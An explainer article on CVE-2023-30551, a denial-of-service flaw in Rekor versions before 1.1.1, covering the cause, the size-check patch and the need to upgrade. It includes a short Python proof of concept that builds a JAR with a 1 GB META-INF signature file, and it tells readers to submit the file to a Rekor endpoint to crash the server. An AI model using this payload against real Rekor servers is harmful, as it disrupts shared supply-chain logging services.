CVE-2023-30551 - Out-Of-Memory Vulnerability in Rekor <1.1.1—How Attackers Could Crash Open Source Supply Chain Logs

Rekor is an open source tool designed to bring transparency to the software supply chain. It acts as a public log for recording cryptographic metadata about software builds, making it easier to spot tampering or unauthorized changes. However, in 2023, a vulnerability tracked as CVE-2023-30551 exposed a serious problem: attackers could easily crash Rekor by simply submitting specially crafted files. In this article, we break down how this vulnerability works, show you sample exploit scenarios, and link to key references for deeper study.

What is CVE-2023-30551?

CVE-2023-30551 is a vulnerability reported in Rekor versions before 1.1.1. It can let attackers force a Rekor server to run out of memory (OOM) and crash. This happens when Rekor tries to process JAR or APK archives containing very large metadata files. Because Rekor loads certain files entirely into memory without checking their size, attackers can send oversized files that exhaust system resources, knocking the service offline.

How the Exploit Works

The core issue lies in how Rekor handles verification of signed archive files, especially JAR and APK files. When Rekor verifies these files, it reads specific metadata files from the archives directly into memory, without size checks.

Scenarios

- JAR Files: Malicious users submit a JAR file with an enormous file inside the META-INF directory (for example, META-INF/BIGFILE.SF).

APK Files: An APK file can be submitted with a huge .SIGN or .PKGINFO file.

If any of these files are large enough, Rekor's memory fills up fast, and eventually the server crashes with an OOM exception.

PoC (Proof of Concept)

Below is a simplified proof of concept in Python that demonstrates how to craft a malicious JAR file to trigger the bug:

import zipfile

# Create a huge metadata file (e.g., 1GB)
bigfile_path = "BIGFILE.SF"
with open(bigfile_path, "wb") as f:
    f.write(b"A" * (1024 * 1024 * 1024))  # 1GB

# Add it into a JAR (ZIP) under META-INF directory
with zipfile.ZipFile("malicious.jar", "w") as jar:
    jar.write(bigfile_path, "META-INF/BIGFILE.SF")

print("malicious.jar created.")

You can submit this big JAR to an exposed Rekor server endpoint (e.g., /api/v1/log/entries) using tools like curl or Postman. If the server runs Rekor older than 1.1.1, and has limited memory, it will likely crash.

The same logic applies to APK files. Just add huge .SIGN or .PKGINFO files inside an APK/ZIP.

References

- Official CVE Record – NVD
- GitHub Advisory & Patch Commit
- Rekor changelog for 1.1.1

The Patch: Rekor v1.1.1

The maintainers addressed the OOM condition in this patch by adding file size checks before reading any archive’s internal files. If a file exceeds a reasonable size, Rekor now rejects it with an error, instead of loading it.

No workaround was available before upgrading — mitigation is to update Rekor to v1.1.1 or later.

Why Is This Serious?

Anyone can submit to public Rekor instances. Attackers don’t have to authenticate. With one big upload, they could halt an important supply chain service, potentially stalling software releases or blocking transparency logs used for security auditing.

Conclusion

CVE-2023-30551 is a powerful reminder that input validation — especially size checks for uploaded files — is essential for open-source infrastructure. Rekor patched the issue quickly, but admins need to upgrade and stay alert for similar DoS risks.

For more technical details, always consult the official Rekor GitHub repository and watch their releases page.

Timeline

Published on: 05/08/2023 16:15:00 UTC
Last modified on: 05/12/2023 16:27:00 UTC